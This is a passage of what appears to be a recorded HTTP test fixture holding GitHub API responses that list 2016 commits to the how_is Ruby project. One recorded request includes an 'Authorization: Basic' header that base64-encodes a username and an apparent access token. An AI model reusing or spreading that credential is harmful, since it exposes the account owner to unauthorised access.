ist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2593f45aa6ae05e250a56a6b73773b8768956cb2","url":"https://api.github.com/repos/how-is/how_is/commits/2593f45aa6ae05e250a56a6b73773b8768956cb2","html_url":"https://github.com/how-is/how_is/commit/2593f45aa6ae05e250a56a6b73773b8768956cb2"},{"sha":"f8b2f5a83fb431e37e62efb960885dd784382992","url":"https://api.github.com/repos/how-is/how_is/commits/f8b2f5a83fb431e37e62efb960885dd784382992","html_url":"https://github.com/how-is/how_is/commit/f8b2f5a83fb431e37e62efb960885dd784382992"}]},{"sha":"f8b2f5a83fb431e37e62efb960885dd784382992","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjhiMmY1YTgzZmI0MzFlMzdlNjJlZmI5NjA4ODVkZDc4NDM4Mjk5Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:20:28Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:20:28Z"},"message":"Merge branch ''master'' of github.com:duckinator/how_is into summary","tree":{"sha":"986118fe6a7e7f90652d440feddb2841a2c370ad","url":"https://api.github.com/repos/how-is/how_is/git/trees/986118fe6a7e7f90652d440feddb2841a2c370ad"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f8b2f5a83fb431e37e62efb960885dd784382992","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f8b2f5a83fb431e37e62efb960885dd784382992","html_url":"https://github.com/how-is/how_is/commit/f8b2f5a83fb431e37e62efb960885dd784382992","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f8b2f5a83fb431e37e62efb960885dd784382992/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"402de6b018b13e3f7df929b2c94489b22435db33","url":"https://api.github.com/repos/how-is/how_is/commits/402de6b018b13e3f7df929b2c94489b22435db33","html_url":"https://github.com/how-is/how_is/commit/402de6b018b13e3f7df929b2c94489b22435db33"},{"sha":"2593f45aa6ae05e250a56a6b73773b8768956cb2","url":"https://api.github.com/repos/how-is/how_is/commits/2593f45aa6ae05e250a56a6b73773b8768956cb2","html_url":"https://github.com/how-is/how_is/commit/2593f45aa6ae05e250a56a6b73773b8768956cb2"}]},{"sha":"402de6b018b13e3f7df929b2c94489b22435db33","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDAyZGU2YjAxOGIxM2UzZjdkZjkyOWIyYzk0NDg5YjIyNDM1ZGIzMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:19:30Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:19:35Z"},"message":"Pulse summary works!","tree":{"sha":"895dd813b8de1282d0bb8a2c898cb7eff526d7c1","url":"https://api.github.com/repos/how-is/how_is/git/trees/895dd813b8de1282d0bb8a2c898cb7eff526d7c1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/402de6b018b13e3f7df929b2c94489b22435db33","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/402de6b018b13e3f7df929b2c94489b22435db33","html_url":"https://github.com/how-is/how_is/commit/402de6b018b13e3f7df929b2c94489b22435db33","comments_url":"https://api.github.com/repos/how-is/how_is/commits/402de6b018b13e3f7df929b2c94489b22435db33/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6e34f6756d8953f48a8f1650da118c38ea34d092","url":"https://api.github.com/repos/how-is/how_is/commits/6e34f6756d8953f48a8f1650da118c38ea34d092","html_url":"https://github.com/how-is/how_is/commit/6e34f6756d8953f48a8f1650da118c38ea34d092"}]},{"sha":"6e34f6756d8953f48a8f1650da118c38ea34d092","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmUzNGY2NzU2ZDg5NTNmNDhhOGYxNjUwZGExMThjMzhlYTM0ZDA5Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:17:13Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:17:13Z"},"message":"Fix SSL on Windows (for Pulse summary).","tree":{"sha":"a8103cd2ca6a3924e6997de3b78ed1fbbdea0dc5","url":"https://api.github.com/repos/how-is/how_is/git/trees/a8103cd2ca6a3924e6997de3b78ed1fbbdea0dc5"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6e34f6756d8953f48a8f1650da118c38ea34d092","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6e34f6756d8953f48a8f1650da118c38ea34d092","html_url":"https://github.com/how-is/how_is/commit/6e34f6756d8953f48a8f1650da118c38ea34d092","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6e34f6756d8953f48a8f1650da118c38ea34d092/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","url":"https://api.github.com/repos/how-is/how_is/commits/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","html_url":"https://github.com/how-is/how_is/commit/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7"}]},{"sha":"a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTc1MDdhYzY0ZTU3MDhjMjNiMjBjNmM4MWE5MmVlMTBjYmZjZDRjNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:04:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:04:36Z"},"message":"Make HowIs::Pulse work correctly.","tree":{"sha":"c2bbd7c4344a4101d276dc96f1b2d74664deea66","url":"https://api.github.com/repos/how-is/how_is/git/trees/c2bbd7c4344a4101d276dc96f1b2d74664deea66"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","html_url":"https://github.com/how-is/how_is/commit/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/a7507ac64e5708c23b20c6c81a92ee10cbfcd4c7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"55b37765c3c7fd750f74d09c55a9d6dfe801d5af","url":"https://api.github.com/repos/how-is/how_is/commits/55b37765c3c7fd750f74d09c55a9d6dfe801d5af","html_url":"https://github.com/how-is/how_is/commit/55b37765c3c7fd750f74d09c55a9d6dfe801d5af"}]},{"sha":"55b37765c3c7fd750f74d09c55a9d6dfe801d5af","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTViMzc3NjVjM2M3ZmQ3NTBmNzRkMDljNTVhOWQ2ZGZlODAxZDVhZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:04:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:04:19Z"},"message":"Update code based on new Tessellator::Fetcher API.","tree":{"sha":"271b12881247f920849ad43fc1d5a5a1b36ddf20","url":"https://api.github.com/repos/how-is/how_is/git/trees/271b12881247f920849ad43fc1d5a5a1b36ddf20"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/55b37765c3c7fd750f74d09c55a9d6dfe801d5af","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/55b37765c3c7fd750f74d09c55a9d6dfe801d5af","html_url":"https://github.com/how-is/how_is/commit/55b37765c3c7fd750f74d09c55a9d6dfe801d5af","comments_url":"https://api.github.com/repos/how-is/how_is/commits/55b37765c3c7fd750f74d09c55a9d6dfe801d5af/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"dc488e221b017ed98919dda119efd2871052c8b5","url":"https://api.github.com/repos/how-is/how_is/commits/dc488e221b017ed98919dda119efd2871052c8b5","html_url":"https://github.com/how-is/how_is/commit/dc488e221b017ed98919dda119efd2871052c8b5"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:47 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=13&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3332' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"77397845174a30cc759a60461b518c1d" Last-Modified: - Tue, 19 Jul 2016 07:03:36 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 396C:2028:206A8A:47AB3A:5CC36AF0 body: encoding: ASCII-8BIT string: '[{"sha":"dc488e221b017ed98919dda119efd2871052c8b5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGM0ODhlMjIxYjAxN2VkOTg5MTlkZGExMTllZmQyODcxMDUyYzhiNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:03:36Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-19T07:03:36Z"},"message":"Bump tessellator-fetcher version.","tree":{"sha":"b18225badaa9abb4b61c4a3324382d76b29980d9","url":"https://api.github.com/repos/how-is/how_is/git/trees/b18225badaa9abb4b61c4a3324382d76b29980d9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dc488e221b017ed98919dda119efd2871052c8b5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dc488e221b017ed98919dda119efd2871052c8b5","html_url":"https://github.com/how-is/how_is/commit/dc488e221b017ed98919dda119efd2871052c8b5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dc488e221b017ed98919dda119efd2871052c8b5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0c84865de2e38adb1b0fe3bf2e63c1622a82231b","url":"https://api.github.com/repos/how-is/how_is/commits/0c84865de2e38adb1b0fe3bf2e63c1622a82231b","html_url":"https://github.com/how-is/how_is/commit/0c84865de2e38adb1b0fe3bf2e63c1622a82231b"}]},{"sha":"2593f45aa6ae05e250a56a6b73773b8768956cb2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MjU5M2Y0NWFhNmFlMDVlMjUwYTU2YTZiNzM3NzNiODc2ODk1NmNiMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T02:47:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T02:47:22Z"},"message":"lol? switching to DateTime fixed it.","tree":{"sha":"0b3bbf81f5fcf2cb7434fd0b3d52ff47e2ea82d1","url":"https://api.github.com/repos/how-is/how_is/git/trees/0b3bbf81f5fcf2cb7434fd0b3d52ff47e2ea82d1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2593f45aa6ae05e250a56a6b73773b8768956cb2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2593f45aa6ae05e250a56a6b73773b8768956cb2","html_url":"https://github.com/how-is/how_is/commit/2593f45aa6ae05e250a56a6b73773b8768956cb2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2593f45aa6ae05e250a56a6b73773b8768956cb2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"64aed7246bcdd77e1269187a27cddbd75c3d11ed","url":"https://api.github.com/repos/how-is/how_is/commits/64aed7246bcdd77e1269187a27cddbd75c3d11ed","html_url":"https://github.com/how-is/how_is/commit/64aed7246bcdd77e1269187a27cddbd75c3d11ed"}]},{"sha":"64aed7246bcdd77e1269187a27cddbd75c3d11ed","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjRhZWQ3MjQ2YmNkZDc3ZTEyNjkxODdhMjdjZGRiZDc1YzNkMTFlZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:58:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:58:00Z"},"message":"More consistent naming of variables in tests.","tree":{"sha":"1098566aeda3226914976535cfc3c94235183ba1","url":"https://api.github.com/repos/how-is/how_is/git/trees/1098566aeda3226914976535cfc3c94235183ba1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/64aed7246bcdd77e1269187a27cddbd75c3d11ed","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/64aed7246bcdd77e1269187a27cddbd75c3d11ed","html_url":"https://github.com/how-is/how_is/commit/64aed7246bcdd77e1269187a27cddbd75c3d11ed","comments_url":"https://api.github.com/repos/how-is/how_is/commits/64aed7246bcdd77e1269187a27cddbd75c3d11ed/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6da03daca82f34e72341311ad1f772e812868631","url":"https://api.github.com/repos/how-is/how_is/commits/6da03daca82f34e72341311ad1f772e812868631","html_url":"https://github.com/how-is/how_is/commit/6da03daca82f34e72341311ad1f772e812868631"}]},{"sha":"6da03daca82f34e72341311ad1f772e812868631","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmRhMDNkYWNhODJmMzRlNzIzNDEzMTFhZDFmNzcyZTgxMjg2ODYzMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:46:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-14T00:46:33Z"},"message":"Fix JSON report generation test using Timecop.","tree":{"sha":"6260154c08e832f37abaae76fc1976c16229a149","url":"https://api.github.com/repos/how-is/how_is/git/trees/6260154c08e832f37abaae76fc1976c16229a149"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6da03daca82f34e72341311ad1f772e812868631","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6da03daca82f34e72341311ad1f772e812868631","html_url":"https://github.com/how-is/how_is/commit/6da03daca82f34e72341311ad1f772e812868631","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6da03daca82f34e72341311ad1f772e812868631/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/d